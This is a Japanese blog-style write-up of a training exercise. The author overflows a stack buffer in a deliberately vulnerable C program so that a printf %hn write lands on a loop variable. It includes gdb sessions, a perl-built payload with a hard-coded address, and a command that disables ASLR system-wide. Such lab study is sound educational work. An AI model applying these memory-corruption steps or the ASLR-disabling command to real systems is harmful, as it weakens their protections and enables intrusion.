今日はprintf(3)のフォーマットストリングの脆弱性についてテストしてみた。
とりあえずアタックを簡単にしたかったので↓を実行。
echo "0" > /proc/sys/kernel/randomize_va_space
今日のテスト対象は/dvl/exploitmes_package_02/3_format_stringsにあるfs1。
これをデバッグオプション付きでコンパイルしgdbで動かす。
bt 3_format_strings # gdb fs
GNU gdb 6.5
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1".
まずソースを確認。
gdb $ list
1 /* fs1.c *
2 * specially crafted to feed your brain by xxx@xxx */ <= メールアドレスは伏せた
3
4 /* Don't forget, *
5 * more is less, *
6 * here's a proof */
7
8 int main(int argv,char **argc) {
9 short int zero=0;
10 int *plen=(int*)malloc(sizeof(int));
gdb $
11 char buf[256];
12
13 strcpy(buf,argc[1]);
14 printf("%s%hn\n",buf,plen);
15 while(zero);
16 }
見ての通り、printfに対して入力をそのまま渡しているわけではないです。。
16行目のwhile(zero)を無限ループさせるためにどうやってzeroの内容を書き換えるかを考える。
#ただし、バッファオーバーフローで直接zeroの値を書き換えるようなことはしない!!
そうすると15行目のprintf()で%nを使ってplenに書き込みを行っている箇所が使えそう。
plenの本来のアドレスの代わりにzeroのアドレスを渡してやれば、plenにではなくzeroに対して書き込みを行うはず。
早速確認。。
アドレス確認用にブレークポイントを設定。
gdb $ b 13
Breakpoint 1 at 0x8048449: file fs1.c, line 13.
gdb $ r `perl -e 'print "A"x264;'`
-------------------------------------------------------------------------[ regs]
eax:0804A008 ebx:B7FCDFFC ecx:0804A010 edx:00000004 eflags:00000282
esi:BFFFF424 edi:BFFFF3B0 esp:BFFFF270 ebp:BFFFF398 eip:08048449
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a p c
[007B:BFFFF270]---------------------------------------------------------[stack]
BFFFF2A0 : 33 20 53 61 20 00 00 00 - 00 00 00 00 00 00 00 00 3 Sa ...........
BFFFF290 : 54 23 FF B7 0E 3A EB B7 - 60 82 04 08 00 00 00 23 T#...:..`......#
BFFFF280 : F8 0F 00 B8 F0 14 00 00 - 00 20 FD B7 E0 F2 FF BF ......... ......
BFFFF270 : 8C F2 FF BF 93 71 FF B7 - 20 82 04 08 3C 17 00 B8 .....q.. ...<...
[007B:BFFFF424]---------------------------------------------------------[ data]
BFFFF424 : 7A F5 FF BF A9 F5 FF BF - 00 00 00 00 B2 F6 FF BF z...............
BFFFF434 : 00 F7 FF BF 07 F7 FF BF - 14 F7 FF BF 1F F7 FF BF ................
[0073:08048449]---------------------------------------------------------[ code]
0x8048449 <main+53>: sub esp,0x8
0x804844c <main+56>: mov eax,DWORD PTR [ebp+12]
0x804844f <main+59>: add eax,0x4
0x8048452 <main+62>: push DWORD PTR [eax]
0x8048454 <main+64>: lea eax,[ebp-0x118]
0x804845a <main+70>: push eax
-------------------------------------------------------------------------------
ブレークポイントで処理が止まったら各変数のアドレスを調べる。
Breakpoint 1, main (argv=0x2, argc=0xbffff424) at fs1.c:13
13 strcpy(buf,argc[1]);
gdb $ p &buf
$1 = (char (*)[256]) 0xbffff280
gdb $ p &plen
$2 = (int **) 0xbffff388
gdb $ p &zero
$3 = (short int *) 0xbffff38e <- ここに書き込むようにしたい!
gdb $ c
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program exited with code 011.
-------------------------------------------------------------------------[ regs]
Error while running hook_stop:
No registers.
とりあえずブレークポイントはもう必要ないので消す。
gdb $ d 1
ゴミデータ+zeroのアドレスを渡す。
gdb $ r `perl -e 'print "A"x264 . "\x8e\xf3\xff\xbf";'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
↑無限ループ実行中。
↓ctrl-cで中止
Program received signal SIGINT, Interrupt.
-------------------------------------------------------------------------[ regs]
eax:0000010D ebx:B7FCDFFC ecx:00000000 edx:0000010D eflags:00000206
esi:BFFFF424 edi:BFFFF3B0 esp:BFFFF270 ebp:BFFFF398 eip:08048484
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t s z a P c
[007B:BFFFF270]---------------------------------------------------------[stack]
BFFFF2A0 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
BFFFF290 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
BFFFF280 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
BFFFF270 : 8C F2 FF BF 93 71 FF B7 - 20 82 04 08 3C 17 00 B8 .....q.. ...<...
[007B:BFFFF424]---------------------------------------------------------[ data]
BFFFF424 : 76 F5 FF BF A5 F5 FF BF - 00 00 00 00 B2 F6 FF BF v...............
BFFFF434 : 00 F7 FF BF 07 F7 FF BF - 14 F7 FF BF 1F F7 FF BF ................
[0073:08048484]---------------------------------------------------------[ code]
0x8048484 <main+112>: jmp 0x804847d <main+105>
0x8048486 <main+114>: leave
0x8048487 <main+115>: ret
0x8048488 <main+116>: nop
0x8048489 <main+117>: nop
0x804848a <main+118>: nop
-------------------------------------------------------------------------------
ここでは確認してないけど、zeroには当然0以外の値が入ってます。
0x08048484 in main (argv=0x2, argc=0xbffff424) at fs1.c:15
15 while(zero);
gdb $ q
bt 3_format_strings #一応これでzeroの値を書き換えて無限ループに入ることができたけど、このやり方は出題者の意図通りなのかは不明orz